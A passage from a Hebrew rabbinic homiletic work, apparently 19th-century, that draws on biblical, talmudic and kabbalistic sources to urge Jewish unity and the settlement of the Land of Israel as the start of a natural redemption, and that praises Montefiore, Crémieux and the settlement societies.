ה. כתיב ישעיה מ&quot;ב. כה אמר האל ה' בורא השמים וכו' פי' הרד&quot;ק ז&quot;ל גם זאת הפרשה מדברת במלך המשיח לפי שאמר בו הן עבדי אתמוך בו. זכר עתה שלא יהיה דבר נקל כי אם פלא עצום לפי מצב העם שהוא ממין הבריאה ולכן אמר בורא השמים עכ&quot;ל. ר&quot;ל גאולתנו היא בריאה החדשה כמו בריאת העולם יש מאין. כמ&quot;ש שם מ&quot;ג כה אמר ה' בוראך יעקב ויוצרך ישראל אל תירא כי גאלתיך. שם ס&quot;ה כי אם שישו וגילו עד אשר אני בורא. כי הנני בורא את ירושלים גילה ועמה משוש. בורא העולם יצר את האדם יחיד בעולמו וממנו הושתת העולם ומלואו. כך היא גאולתן של ישראל בתחילה קמעא קמעא כל מה שהיא, היא רבה והולכת. והיה ראשיתנו מצער ואחריתנו ישגא מאד. ואמר בורא השמים להודיע כי התחלת הגאולה תהיה בדרך ארץ כמ&quot;ש רבינו בחיי פ' נצבים כי קרוב אליך הדבר מאד בפיך ובלבבך לעשותו. ומה שנחתמה פ' הגאולה במלת לעשותו. כדי להשוות ענין הגאולה למעשה בראשית שנחתם אשר ברא אלהים לעשות. והשוה אחרית הזמן עם ראשית הזמן למען הודיעך כי שוין הן בענין פעולת הטבע ומנהגו של עולם. ותוספת הוא&quot;ו במלת לעשותו. לרמוז כי האלף הששי ינהוג מנהג ששת ימי המעשה עב&quot;ל. והוא אמרו זכר עתה שלא יהיה דבר נקל. כי הגאולה תהיה דרך טבע שאלו היה דרך נס היה נקל מאד כי לא יפלא מה' דבר ואפילו דרך טבע הוא פלא עצום מאוד לפי מצב העם עד שהוא ממין הבריאה. הטבע הוא ראשית הבריאה אשר ברא אלהים לעשות לקיום הבריאה שיהיה עולם כמנהגו נוהג עד סוף האלף הששי. כי הוא צוה ונבראו ויעמידם לעד לעולם חק נתן ולא יעבור. חק נקרא הטבע. כמ&quot;ש ישעיה ה' ופערה פיה לבלי חק פי' הראב&quot;ע הפך המנהג וכן כתב הרב ערכי הכנויים ערך חק הפך המשפט והמנהג. וכן כתב הרב מבלול יופי: ובן איוב כ&quot;ג מחקי צפנתי אמרי פיו פי' הרב מבלול יופי ממנהגי. ויש לפרש יותר מחקי כלומר יותר ממה שהיה מוטבע בחק תולדתי צפנתי אמרי פיו עב&quot;ל. וכן כתיב ירמיה ל&quot;ג. כה אמר ה' אם לא בריתי יומם ולילה חקות שמים וארץ לא שמתי. שם ל&quot;א כה אמר ה' נותן שמש לאור יומם חקות ירח וכוכבים לאור לילה. וכן אנו אומרים בברכת הלבנה חק וזמן נתן להם שלא ישנו את תפקידם.

ו. הטבע. דהיינו קיום העולם ועמידתו מגיד כבודאל וגדולתו ועוצם יכלתו. שהוציא כלי למעשהו שאינו צריך תיקון. כמ&quot;ש כי אראה שמיך מעשה אצבעותיך ירח וכוכבים אשר כוננת. השמים מספרים כבוד אל ומעשה ידיו מגיד הרקיע. ולכן הנסים שהם דרך טבע הם הגדולים והיקרים שהם נסים נסתרים לעשה נפלאות גדולות לבדו. והם כבודו ית' שמעשיושלמים ואינם צריכים תיקון. אמרו במדרש ילקוט ראובני פ' וארא דפ&quot;ה ע&quot;ד. וארא אל האבות באל שדי לעשות להם נסים נסתרים שלא ישתנה מנהגו של עולם. ברעב זנם ובמלחמה פלטם ממות והצילם ולתת להם עושר וכבוד וכו'. אבל בשמי ה' אשר נהיה בו כל היה לא נודעתי להם לברא להם החדשות בשינוי התולדות שהם נסים נגלים עב&quot;ל. והנסים שהם שלא כדרך הטבע מגרעות נותנים כמ&quot;ש [שבת ד' נ&quot;ג ע&quot;ב] באותו האיש שנעשה לו נס ונעשו דדיו כדדי אשה והניק את בנו. אמר אביי כמה גרוע האיש הזה שנשתנו עליו סדרי בראשית. והעושה מעשים אשר לא יעשו לשנות מנהגו של עולם. גדול עונו מנשא. כמ&quot;ש ילקוט ראובני פ' ויהי יששכר חמור גרם זה רבי עקיבא. וירא מנוחה של צדיקים בגן עדן כי טוב. ויט שכמו לסבול דינו של הקב&quot;ה ולא בטל הגזרה בשם. ראה כי אין טוב להשתמש בשמות. מכאן תבין עונש המטריה את קונו עב&quot;ל. ולכן המיושבים בדעתם אינם מצפין לישועה ע&quot;י איש אחד העושה נפלאות גדולות לבדו. המטריה את קונו לשנות סדרי בראשית. כי אם ע&quot;י אנשים יקרים אשר חננם ה' עושר וכבוד ודבריהם נשמעים בהיכלי מלכים. ולהם המצוה הזאת לרחם על פלטתנו. נענינו משמוע! נבהלנו מראות הצרות התכופות המתרגשות לבא עלינו! וכל הנאנחים והנאנקים [גי' תימן] צועקים לעזרה ע' האסיפות הנבחרות למחות את דמעותם מעל פניהם. וגם הם נבול יבולו כי לא יעלה לנו ארוכה ומרפא כי אם מרפואת הכלל. כמו שאמ השר הצרפתי [המגיד גליון י&quot;ז שנה שביעית מאמר בשובה ונחת] וז&quot;ל רק שמה רק על אדמתכם תוכלו להרפא רפואה שלימה מפצעיכם אלה דפה&quot;ה. ולכןאדונים נכבדים ראשי בני ישראל בכל מקום שהם תנו עוז לאלהים! מלאו ידכם היום לה' ועשו אתאשר תמצא ידכם. והוא יגמור בעדיכם. כמ&quot;ש רבינו בחיי פ' נח וז&quot;ל ולכן תצוה התורה שיעשה האדם כל יכלתו בדרך הטבע. ומה שיחסר הטבע ישלים הנס.&gt; וכל ההתחלות קשות. על אחת כמה וכמה גאולת ישראל שיש עליה מעוררים רבים וכן שלמים מדעתםאו שלא מדעתם. ומדברים סרה על ישוב ארץ חמדה ועל חונני עפרה! צוה ה' ליעקב סביביו צריו. כמו שהתמרמר רבינו מוהרצ&quot;ה קאלישער [המגיד גליון ל&quot;ה ש&quot;ח] וז&quot;ל גם בין הטובים שעירים ירקדו והמה במקום קדוש! יהלכון וישתבחו בעיר הקודש כך וכך עשינו!! ואם חפין בנו ה' ויתן בלב מלכי הארץ לעשות עמנו אות לטובה. הוא פלא עצום מאוד תם נסתר בדרך ארץ וכבוד. וכל ישראל יכירו וידעו כי הוא נס ופלא מאתו ית' ומושיע אין בלתו. כמ&quot;ש אבן אתה אל מסתתר אלהי ישראל מושיע. ומי שאינו מודה בנסים נסתרים אין לו חלק בתורת משה כמ&quot;ש הרמב&quot;ן ורבינו בחיי ז&quot;ל. והגאולה הזאת נחמו בכפלים בשתי גאולות ושני גואלים. תחילת הגאולה ע&quot;י מב&quot;י בנסים נסתרים כדרך גאולת בבל. וסוף הגאולה ע&quot;י הגואל הגדול מב&quot;ד ע&quot;י נסים גלוים ומפורסמים כדרך גאולת מצרים ובימי צאתנו מארץ מצרים יראנו נפלאות! בס' מעודד ענוים אות י&quot;ח ואות כ&quot;ג אמרתי כי שתי תשובות הן. תשובה פרטית ותשובה כללית. התשובה הפרטית היא שישוב האדם מעבירות שבידו. והיא נוהגת בכל מקום ובכל זמן והיא נצרכת בפרטות לכל איש ואיש לפי מעשיו להחיות את נפשו חיי העוה&quot;ב אחר הפרדה מן הגוף.ולכן נקראת תשובה פרטית. והתשובה הנז' באחרית הימים שבה הגאולה תלויה היא תשובה כללית. להחזיר שכינתו לציון בישוב ארץ ישראל. כמ&quot;ש בתיקונים תקון כ&quot;א ותשובתא מאי ניהו דיחזיר שכינתא לאתרה. והבטיחה הנביא הושע ג' אחר ישובו בני ישראל ובקשו את ה' אלהיהם ואת דוד מלכם ופחדו אל ה' ואל טובו באחרית הימים. פי' רש&quot;י אחר ימי הגולה וכו'. ולכן קראתי למאהבי לבו ונשובה אל ה'להתאסף אגודה אחת בדעה אחת לישב את ארצנו הק' וזאת תהיה תשובתנו אליו ית' לקבל אלהותו ושקולה ישיבת א&quot;י ככל מצות שבתורה. עוד שם אות יוד כתבתי על הפסוק ירמיה ח' כה אמר ה' היפלו ולא יקומו אם ישוב ולא ישוב. תרגום יונתן אם למיתב גלי קדמי דלא יתובון. ובדי שלא לדבר דלטורין על ישראל כתבתי בזה הלשון. גלוי וידוע לפני שלא יזכו לתשובה בחו&quot;ל. כמו שלא זכינו אלף ותשצ&quot;ז שנה שאנו בו היום לחרבן בית אחינו. (היינו בזמן המחבר הנז') ואנחנו  לא נושענו ואין הדבר תלוי אלא בתשובה. ואפילו משה רבינו לא זכה לסוד התשובה בחו&quot;ל. ולכן התחנן אעברה נא ואראה את הארץ הטובה לזכות שם לתשובה כמ&quot;ש הרב מגלה עמוקות אופן כ&quot;ט. ולכן אמרתי ארפא משובתם להתסופף בבית אלהינו ושם נזכה לתשובה. כי קדושת הארץ תעזרנו  כמ&quot;ש יחזקאל כ' כי בהר קדשי בהר מרום ישראל שם אעבדוני ושם כתיב דברים ל' והביאך ה' אלהיך  אל הארץ. ושם ומל ה' אלהיך את לבבך. ירמיה ל&quot;ב הנני מקבצם מכל הארצות וכו'. ואת יראתי אתן בלבבם. שם ל&quot;ג והשיבותי את שבות יהודה וכו' וטהרתים מכל עונם. וכן יחזקאל ל&quot;ד והוצאתים מן העמים וקבצתים מן הארצות והביאותים אל אדמתם. ושם את האובדת אבקש ואת הנדחת אשיב. שם ל&quot;ו ולקחתי אתכם מן העמים וקבצתי אתכם מכל הארצות והבאתי אתכם אל אדמתכם וזרקתי עליכם מים טהורים וטהרתם. ואם כל הכבוד הזה נזכה בחו&quot;ל. הוי&quot;ל תחילה ומל ה' אלהיך. ואח&quot;כ והביאך ה' אלהיך אל הארץ. תחילה וזרקתי עליכם מים טהורים. ואח&quot;כ ולקחתי אתכם מן העמים. וכשם שיש מעלה ויתרון לתורת א&quot;י על תורת חו&quot;ל. כך יש מעלה ויתרון לתשובת א&quot;י על תשובת חו&quot;ל וכן יש מעלה ויתרון לתשובה כללית על תשובה פרטית. ולצדקה כללית על צדקה פרטית. ולישוב א&quot;י הכללי. על ישוב ארץ ישראל הפרטי. תורת א&quot;י היא תורה כללית יש לכל ישראל חלק בה. כי התורהנקראת משפט אלהי הארץ. וכל ישראל יש להם חלק באלהי ישראל ובתורתו ובחבל נחלתו. ולכן כל ישראל חייבים לחזק את התורה בא&quot;י מקום כבודה להגדילה ולהאדירה כי היא חיינו ואורך ימינו ולולא תורת א&quot;י לא היתה לנו תקומה בחו&quot;ל. כי אנו בחו&quot;ל דומים כמי שאין לו אלוה. וכן תשובת א&quot;י היא תשובה כללית יש לכל ישראל חלק בה. ואפילו אחד השב אליו ית' לקבל אלהותו בא&quot;י משיב חרון אפו ית' שנא' כי שב אפי ממנו. ולכן כל ישראל חייבים לחזק ביד מי שנדבנו לבו להסתופף בבית אלהינו על אחת כמה וכמה שחייבים כל ישראל לחזק את החברה הק' חברת ישוב א&quot;י שהיא תשובה דרבים. ז&quot;ש רז&quot;ל כל הקיצין כלו ואין הדבר תלוי אלא בתשובה ומעשים טובים. ר&quot;ל להחזיק את התורה ואת התשובה בא&quot;י.

ט. ועתה אחינו אנשי גאולתנו! תנו לה' אלהיכם כבוד שימו לבבכם ומגמתכם אל המטרה הקדושה להחזיר שכינתו לציון בישוב ארצנו הקדושה. כי בחר ה' בציון אוה למושב לו. ואחיכם בני ישראל הנדכאים והנרדפים והנדחים השרופים והמטולטלים הנודדים ללחם צמאה נפשם לאלהים ועיניהם תלויות רואות וכלות כל הימים גם לילות אל ישוב הארץ. אולי ימצאו מנוח ושם ינוחו יגיעי כח על שלחן אביהם שבשמים. ובשמעם איש מדבר סרה על ישוב הארץ הם פורשים ובוכים ופלגי מים תרד עינם דמעת עשוקים שאין להם מנחם! 

ראשי בני ישראל הבו גודל לאלהינו! גדול ה'

ומהולל שמו מאוד בעיר אלהינו. נאה לגדולים לתת גדולה ליוצר בראשית. מלתא אלבשייהו יקירא. אל תשיתו לב לדברי הבל ורעות רוח המניאים את לב בני ישראל. דעו נאמנה כי המדברים סרה על ישוב הארץ לא ענו מלבם כי אם גבורת ארמילוס עשתה זאת. כתוב בסדור הספרדים בברכת בונה ירושלם יכוין על מב&quot;י שלא יהרג ע&quot;י ארמילוס ר&quot;ל ענין מב&quot;י הוא לקבוץ הגליות לישב את ארצנו הק' וארמילוס כל יגיעו ועמלו הוא לעכב ישוב הארץ. והעיכוב הזה הוא הריגת משיח בן יוסף. ארמילוס אותיות סמא&quot;ל רי&quot;ו. הגאולה היא בשם ע&quot;ב כמ&quot;ש תיקון כ&quot;ב וז&quot;ל וכמה דנפקו ממצרים ברזא ע&quot;ב שמהן. כך יפקון בהון כד יפרקון בתרייתא. שם ע&quot;ב הוא ע&quot;ב שמות כל אחד משלשה אותיות הם רי&quot;ו אותיות. בסוד ויעביר ה' ע&quot;ב רי&quot;ו. ודור רביעי ישובו הנה ר&quot;ת וס&quot;ת רי&quot;ו. והוא יוצא משלשה פסוקים ויסע. ויבא. ויט. ובכח האבירי לב הרחוקים מצדקה אחו ס&quot;מ אותיות רי&quot;ו בתוך אותיות שמו ונבנה ארמילוס המקשיח לבנו מן החסד והרחמים ומעכב גאולתנו. ז&quot;ש רז&quot;ל כי ארמילוס נולד מאבן אחת הוא לב האבן שבבשרנו. ס&quot;מ הוא גרנן מפריד אלוף כי הוא המפריד הנשמה מן הגוף. מצודתו פרושה על כל החיים. הוא שטן הוא יצה&quot;ר הוא מלאך המות הוא הנחש אשר השיא את חוה והביא המות לעולם. והוא מסית ומדיח את האדם מדרך החיים לדרך המות. הוא האיש אשר אבק עם יעקב אבינו עד עלות השחר. וירא כי לא יכול לו ויגע בכף ירכו [עיין של&quot;ה הקדוש] הוא אשר העשין את הר סיני. והר סיני עשן כלו. עשן נקרא ס&quot;מ. וכאשר עמדו אבותינו על הר סיני לקבל את התורה כי היא חיינו ואורך ימינו. עמד בכחו וגבורתו על הר סיני ועלתה בידו להטעות את ישראל ויעשו עגל בחורב ונשתברו הלוחות שהיו חירות ממלאך המות. ותורתנו הקדושה עץ חיים היא למחזיקים בה. והוא הכניס עין רעה בחיזוק התורה. כמ&quot;ש בתרא ד' ע&quot;ה ע&quot;א ועשן בחופה למה? א&quot;ר חנינא כל מי שעיניו צרות בת&quot;ח בעוה&quot;ז מתמלאות עיניו עשן לעוה&quot;ב. וארצנו הק' היא בית חיינו והוא בכל מאמצי כחו מעכב ביאת הארץ. ולכן זאת העצה היעוצה מאת ה' פתחו לי פתח כחודה של מחט. דהיינו להתחיל במצוה וארמילוס יתש כחו כנקבה. ובאי כחו ישמרו לפיהם מחסום כי המתחיל במצוה אומרים לו גמור. אמרו רז&quot;ל. נשבע הקב&quot;ה שלא יבא בירושלים של מעלה עד שיבאו ישראל בירושלים של מטה שנא' ולא אבא בעיר [עיין מעודד ענוים אות כ&quot;ב]. ולכן אמר הקב&quot;ה לישראל פתחו לי פתח להתיר הנדר. והפתח הוא רצוננו הטוב להסתופף בבית אלהינו. ונקבצו בני ישראל אגודה אחת בדעה אחת ליישב את ארצנו הקדושה ומחשבה טובה הקב&quot;ה מצרפה למעשה. ויעלה לרצון לפניו יתב' כאלו שבו כל ישראל לירושלים. ועם הפתח הזה יתיר נדרו ויבא הקב&quot;ה לירושלים של מעלה ויפתח לנו כפתחו של אולם.

אמרו רז&quot;ל משה הוא הגואל האחרון ובג&quot;ד כפל קוב&quot;ה שמיה משה משה חד על פורקנא קדמאה וחד על בתרייתא. ובג&quot;ד אז ישיר משה שר לא נאמר אלא ישיר וכן אמרו במד' דברים רבה סוף פ' וילך. כיון שקבל משה עליו למות התחיל הקב&quot;ה מפייסו. א&quot;ל חייך בעולם הזה הנהגת את בני. אף לעתיד לבא על ידיך אני מנהיג אותם שנאמר ויזכור ימי עולם משה עמו עכ&quot;ל. ובכל דור ודור בא משה בסוד העיבור באיש הראוי אולי יזכו ישראל לגאולה [עיין מעודד ענוים אות כ&quot;ח].

כל שר וגדול בישראל אשר נפשו קשורה באהבת ארץ ישראל זה לנו האות כי נשמת משה בקרבו. אשר התפלל תקט&quot;ו תפלות אעברה נא ואראה את הארץ הטובה. גם כדורנו זה [בזמן המחבר] עינינו הרואות את אדוננו השר תפארת ישראל כבוד מוהר&quot;ר משה מונטיפיורי יצ&quot;ו חשקה נפשו לארץ הקדושה ובאהבה רבה עולה בית אל כיונק אל שדי אמו. אות היא כי שמו בקרבו. ואשר גדלו המלך מלכו של עולם ואשר נשאו להיות לישראל למושיע. לא תשועה פרטית בלבד כי אם גם תשועה כללית והתשועות הפרטיות אשר נתן ה' על ידו הוא לחזק את לבו למען ידע כי ה' אתו ואשר הוא עושה ה' מצליח. כמו שבאה תשועת עלילת הדם בתוך הנחמות יחזקאל ל&quot;ו יען אומרים לכם אוכלת אדם וכו'. פי' מוהר&quot;ץ אברבנאל ז&quot;ל מ&quot;ש ד' נ&quot;ה ע&quot;א וז&quot;ל הנבואה הזאת נאמרה על הגלות הזאת שמוציאין דבה על בני ישראל שהורגים את ילדיהם לאכול מדמם בחג הפסח. וכיון שנתן ה' תשועת עלילת הדם [במלכות מארוקא] על ידו זה לנו האות כי הוא גואל ומושיע. והיה הדם לו לאות כי ה' אתו. 

פקח עיניך וראה מפלאות תמים דעים כי המושיעים מעלילת הדם בעיר דמשק שנת ת&quot;ר הקים ה' אותם אלופים לראש ראשונים לכל בית יוסף. אדוננו השר משה מונטיפיורי ראש לחברת שלוחי קהלות ישראל בלונדון. ואדוננו השר יצחק קרעמיע ראש לחברת כל ישראל חברים בפאריז! ובהסחתהדעת נקבצו בני יהודה ובני ישראל יהדיו ושמו להם ראש! כל איש אשר חננו ה' דעה ובינה והשכל יכיר ויוקיר את החברות היקרות האלה ויאמר אצבע אלהים היא לא נעשתה כזאת מיום גלות ישראל מעל אדמתם.זה הדבר אשר צוה ה' לא תתגודדו לא תעשו אגודות אגודות [יבמות ד' י&quot;ד ע&quot;א]. הקב&quot;ה נתן תשועה לישראל כשהיו שני ראשי החברות אגודה אחת כן יתן הקב&quot;ה תשועה לישראל כשתהיינה שתי החברות אגודה אחת כמ&quot;ש ויהי בישורון מלך בהתאסף ראשי עם יחד שבטי ישראל. פיר' הרמב&quot;ן ז&quot;ל כשהן עשויין אגודה אחת ולא כשהן עשויין אגודות אגודות והתכלית הנרצה הוא תשועה כללית. ומתשועת הכלל יושע הפרט.

יא. כתיב ישעי' מ&quot;א העניים והאביונים מבקשים מים ואין לשונם בצמא נשתה אני ה' אענם אלהי ישראל לא אעזבם. אפתח על שפיים נהרות. תרגום יונתן אקרב גלותהון מביני עממיא ר&quot;ל אני אחדש רוח נכון בקרב ישראל להתקרב אחד אל אחד בקירוב לבבות עד שיהיו כל ישראל חברים בלב אחד כאיש אחד למען יראו וידעו וישימו וישכילו יחדיו כי יד ה' עשתה זאת וקדוש ישראל בראה בריאה חדשה. 

ורוח נסע מאת ה' שנת ת&quot;ר כמ&quot;ש יחזקאל ל&quot;ו ונתתי לכם לב חדש ורוח חדשה. פיר' רש&quot;י יצר שיתחדש לטובה. הרוח החדשה היתה מאת ה' להאסף אגודה אחת לפקח ולהשגיח בעסקי הקבוץ לחדש ימינו כקדם ולכונן לבבנו אל הבקשה הכללית. 

החברה הק' חברת ישוב א&quot;י עינם אל ההתחלה כי המצוה הראשונה לעולי גולה היא עבודת האדמה. כמ&quot;ש ויקרא רבה פ' כ&quot;ח אחרי ה' אלהיכם תלכו וכו' מתחלת ברייתו של עולם לא נתעסק הקב&quot;ה אלא במטע תחילה הה&quot;ד ויטע ה' אלהים גן בעדן מקדם. אף אתם כשתכנסו לארץ לא תתעסקו אלא במטע תחילה הה&quot;ד וכי תבואו אל הארץ ונטעתם כל עץ מאכל. ואתם הרי ישראל ענפיכם תתנו ופריכם תשאו לעמי ישראל. אין לך קץ מגולה מזה [פ' חלק]. 

ובאשר יתקע בשופר גדול מי בכם מכל עמו יהי אלהיו עמו ויעל. כל זרע אברהם ישלימו. כי יעיר ה' את רוחם כמ&quot;ש מי העיר ממזרח. פי' מוהר&quot;ץ אברבנאל ז&quot;ל כמו שהעיר את אברהם ממזרח כן יעיר בניו לצאת מהגלות וללכת אל ארץ הנבחרת. והם ישובו וישיבו לאחרים. כמ&quot;ש זכריה יו&quot;ד ובמרחקים יזכרוני וחיו את בניהם ושבו לציון כי היא בית חיינו. וכתיב יחזקאל י&quot;ח והשיבו וחיו. 

יב. כל אשר בשם ישראל יכונה הוא חבר לחברת כל ישראל חברים. וכל הנכנס בבריתו של אברהם אבינו הוא חבר לחברת ישוב ארץ ישראל. כי בברית המילה נתן ה' לאברהם מתנת הארץ. ושם חברה הוא זולת להוציא את ישראל מעבטיט הפירוד. כי כל קהלה היא מלכות בפני עצמה ואין מלכות נוגעת בחברתה אפילו כמלא נימא. וזה היה ההתעוררות מן החברה היקרה &quot;כל ישראל חברים&quot; ליחד קהילות ישראל אגודה אחת [עיין הצופה להמגיד גליון ל&quot;ו ש&quot;ה]. 

א&quot;ר יהושע בן לוי אמר הקב&quot;ה לישראל אתם גרמתם להחריב את ביתי ולהגלות את בני שאלו לשלום ואני מוחל לכם שנאמר שאלו שלום ירושלים. ר&quot;ל הבית השני נחרב בעון שנאת חנם. שהיו בבית שני כמה כתות והיו שונאים אלו לאלו. ולכן התשובה היא להאסף אגודה אחת לשאול שלום ירושלים. ונקבצו בני יהודה ובני ישראל יחדיו בין רשעים בין כשרים ואף סוררים לשכון יה אלהים. כמ&quot;ש ירמיה ל&quot;א וזרעתי את בית ישראל ואת בית יהודה זרע אדם וזרע בהמה. פי' רש&quot;י הטובים והסבלים שבהם אני אזרעם להיות כולם זרע שלי. וכן אמרו תד&quot;א סא&quot;ר פ' ו' אמר הקב&quot;ה לעמוס לא כתבתי בתורתי על ידי משה רבך אשריך ישראל מי כמוך עם נושע בה' בין רשעים בין כשרים עכ&quot;ל. 

יעקב אבינו צוה לפני מותו לאמר האספו ואגידה לכם את אשר יקרא אתכם באחרית הימים. אמר להן תהון כולכון אסיפה אחת. נעשו בני ישראל אגודה אחת התקינו עצמיכם לגאולה. [ב&quot;ר פ' צ&quot;ח]. 

ועתה בין תבין את מעלת ורוממות החברה הק' כל ישראל חברים וחברת ישוב א&quot;י ואת שמותיהן הנאות להן. ומגמתם הרצויה לחבר את האוהל להיות אחד. ושמות הבעלים אורטודוקסין וריפורמירטין לא ישמע על פיהם כי בשמות הפירוד געלה נפשי כי חרפה היא לנו. הלא אב אחד לכולנו הלא אל אחד בראנו מדוע נבגד איש באחיו לחלל ברית אבותינו. [מלאכי ב'] ולכן הגואל הראשון נקרא מב&quot;י כי הוא יאסף את חרפתנו והוא יקבץ פוזרנו ויעשה אותנו לגוי אחד בארץ בהרי ישראל. והוא ימנה עלינו זקנים משגיחים בעניני הקבוץ. 

סימן מסר הזקן הממנה מכם זקנים זה הוא הגואל. [ב&quot;ר פ' צ&quot;ז] והם ישוו אותנו בכתב ולשון ותורה ומנהג. ולא תהיה תורתנו ועבודת אלהינו מנהג ספרד אשכנז. פולין. אטליא. וכדומה כי אם מנהג ישראל תורה אחת ומשפט אחד. כמו שהבטיח הנביא ישעיה ל&quot;ב ונתתי להם לב אחד ודרך אחד ליראה אותי. ושמות הפירוד לא יזכרו ולא יפקדו ועם צדיקים אל יכתבו. כי כולם בשם ישראל יכונו שאין לנו תואר יקר ממנו.

לי גלעד זה אליהו. ר&quot;ל כל איש אשר נשאו לבו לדבר טוב על ישראל מיד רוח הקודש שורה עליו. ואליהו מאיר עיני לבו ודעתו ויורהו אשר ידבר. כמ&quot;ש תד&quot;א סא&quot;ר פ' י&quot;ב לעולם ינהג אדם בעצמו שמונה עשרה מדות וכו' י&quot;א מתאנח על כבוד הקב&quot;ה ועל כבודן של ישראל כל ימיו. י&quot;ב מחמד ומתאוה ומצפה לכבוד ירושלם ולכבוד בהמ&quot;ק ולישועה שתצמיח בקרוב ולקבוץ גליות. אז זוכה לרוח הקודש בדבריו שנא' כי עוד חזון למועד ויפח לקץ ולא יכזב עכ&quot;ל. [עיין מעודד ענוים אות ב&quot;ו]. 

ולי מנשה זה משיח. פי' רש&quot;י דניאל ט' פסוק כ&quot;ו. משיח אינו אלא לשון שר וגדול. והמשיח הזה ר&quot;ל איש שר וגדול שיפיל תחינתנו לפני מלכי הארץ. והוא הגואל והמושיע הראשון. שנאמר לפני אפרים ובנימין ומנשה וכו' [תהלים פ']. ויהודה מחוקקי זה הגואל הגדול מבני בניו של דוד שהוא יבא בסוף האלף הששי בב&quot;א.מהו מואב סיר רחצי? אמר האלהים אף כשיבאו הגואלים הללו אני בא ומסייען עד שיבאו המואביות עמהן. הדברים הללו הם כדברי הספר החתום. ולא ראיתי בהם ביאור מספיק וי&quot;ל בדרך מליצה כמ&quot;ש מלכים א' ב' פסוק י&quot;ט וישם כסא לאם המלך. אמרו רז&quot;ל זו רות אמה של מלכות [רש&quot;י. המואביות ר&quot;ל אמהות המלכות כמו רות המואביה שנקראת אמה של מלכות]. ר&quot;ל הנשים הצדקניות שבזכותן נגאל כמו שנגאלו אבותינו ממצרים בזכות נשים צדקניות. הן הנה הנשים השאננות אשר נשא לבן אותנה ועושים צדקות והקדשות בעין יפה לכונן את בית חיינו וארץ קברות אבותינו. ולכן אמר האלהים כשיבאו הגואלים הללו אני בא ומסייען ואני אגמור בעדם. ויבאו המואביות עמהן ובזכותן נגאל ב&quot;ב.הנה כל משכיל בין יבין את כל הכתוב לפניו דבר דבור על אופניו ובלי כל ספק כי כאשר ילמוד אותו בשום לב אז אש תוקד בקרבו לתשוקת ואהבת ישוב ארה&quot;ק לתת כל רעיונותיו וכחותיו החומריים להחזקת היישוב או לפחות לעזוב ארץ העמים ולבוא להסתופף בחצרות ה' וכאשר כתבתי לעיל בתחלת המאמר &quot;שמחו את ירושלם&quot; שנראה בעליל שדברי הרב הנ&quot;ל פעלו הרבה בלב שרי וגדול ישראל החברות הנ&quot;ל ואחריהם עמדו רבים והציבו להם ציונים וכמה אגודות וחברות קדושות וכולם עסוקים בישוב הארץ ובקבוץ בניה לתוכה ותלי&quot;ת אשר לא עזב חסדו ונתנם לחן ולרחמים לפני מלכי חסד ונתנו להם הרשיון לקנות קרקעות וחרבות נשמות ליישבם ישוב טוב ונכון ועשו והצליחו כאשר הנך רואה כמה מאחינו האשכנזים וזולתם אשר מסרו עצמם להתיישב במושבות לבנות ולנטוע וכל עבודה בשדה ע&quot;י עזרת השרים לבית ראטשילד ויתר החברות כחברת חובבי ציון ועוד העי&quot;א, ומאחר שזכינו לכל זה שבימינו היתה זאת, &quot;אתחלתא דגאולה&quot; מי הוא מכנ&quot;י אשר בכל תפוצות הגולה אשר לא יערב אל לבו לבוא בעזרתם או לפחות להסתופף בצל כנפי השכינה להתיישב בארה&quot;ק לעבדה ולשמרה בכל אשר תמצא ידו לעשות ואף אם יסבול עוד יסורין ממקרי הזמן בכל זאת הלא ישים אל לבו מאמר חז&quot;ל ג' אינם באים לאדם אלא ע&quot;י יסורין וזו אחת מהן כמש&quot;ל במאמרים הקודמים. אמנם לדעתי הקלושה צריך כל אחד לשום לב אל מאמר התנא ר&quot;מ בסוף פ&quot;ג ממסכת שקלים וז&quot;ל תנא בשם ר'מ אומר כל הקבוע בא&quot;י ואוכל פירותיו בטהרה ומדבר בלה&quot;ק וקורא ק&quot;ש בבוקר ובערב יהא מבושר שבן העולם הבא הוא עכ&quot;ל שזהו עיקר ויסוד הישוב שבלא זה אין בכל מפעלינו כלום ועוד אני אומר שכמעט כל דברי הרב רגמ&quot;ה שזכרנו למעלה מכונים וכלולים בדברי התנא הק' ר&quot;מ כל הקבוע וכו' שר&quot;ל כל מי שקבע עצמו להתיישב בא&quot;י היינו שקנה קרקע ובנה בית לשבת שעי&quot;ז נקרא קבוע ולא דר דירת עראי ועובד אדמתו ואוכל מפירותיו בטהרה ר&quot;ל שמקיים מצות התלויות בה והיינו בחרישה וזריעה והפרשת תרומ&quot;ע וכיוצא וקיום מצות שמיטהועוד ועוד כידוע, ומדבר בלה&quot;ק שיהא דיבורו בשפה המקודשת ומיוחדת רק לישראל ובא&quot;י שעי&quot;ז תהיה אחדות ושלום בין כ&quot;י ולא יהיו מפורדים בלשונות אומה&quot;ע וכמו שמצינו בדור הפלגה שלא נפרדו זמ&quot;ז אלא משבלל ה' שפתם וכל א' תפס לו שפה אחרת ועי&quot;ז לא נשאר ביניהם אחדות ושלום, וקורא ק&quot;ש בבוקר ובערב ר&quot;ל שלא יעזוב עסק התורה שנ' בה והגית בו יומם ולילה שבה תלוי קיום העולם בכלל וישוב ישראל בפרט בא&quot;י כמ&quot;ש אם לא בריתי יומם ולילה חקות שמים וארץ לא שמתי וכן הוכיח הנביא ירמיה ויאמר ה' על מה אבדה הארץ ויאמר על עזבם את תורתי אז ע&quot;י שמקיימים כל ד' דברים אן שהם עיקר ויסוד היישוב, יהא מבושר שהוא בן העוה&quot;ב דקדק לומר מבושר ר&quot;ל שיתבשר בזה שהוא מבני עוה&quot;ב היינו ימות המשיח כי כ&quot;ז שיזכו ישראל לקיים כל אלה בא&quot;י בסוף הגלות שהם משנת ת&quot;ר לאלף הששי והלאה זהו בשורה אמתית כי בזמן ההוא יגלה משיח צדקנו וישבו ישראל לבטח, והעד לזה (הקיץ) הוא שמשנת הת&quot;ר נתן ה' רגש והתעוררות בלב חכמי וגדולי ישראל עשירי עם  ליישוב הארץ וגם בלב מלכי החסד האדירים אשר אנחנו חוסים בא&quot;י בצל ממשלתם הרוממה יר&quot;ה כאשר עינינו הרואות שבכל יום היישוב מוסיף והולך ואין לך אות ומופת גדול מזה וגם כל חז&quot;ל מחשבי הקיצין ברוח קדשם החליטו כל א' כפי השגתו כי הזמן הזה משנת הת&quot;ר ומעלה הוא זמן הקבוץ וגאולת ישראל באינספק ורק הדבר תלוי במעשינו כי מצד גזירתו יתברך לימי גלותנו כבר נשלמה בודאי וע&quot;ז הזמן אמר הנביא שובו אלי ואשובה אליכם ר&quot;ל כי מעתה הדבר תלוי רק בכם אם אתם תשובו אלי לפתוח לי בחודה של מחט 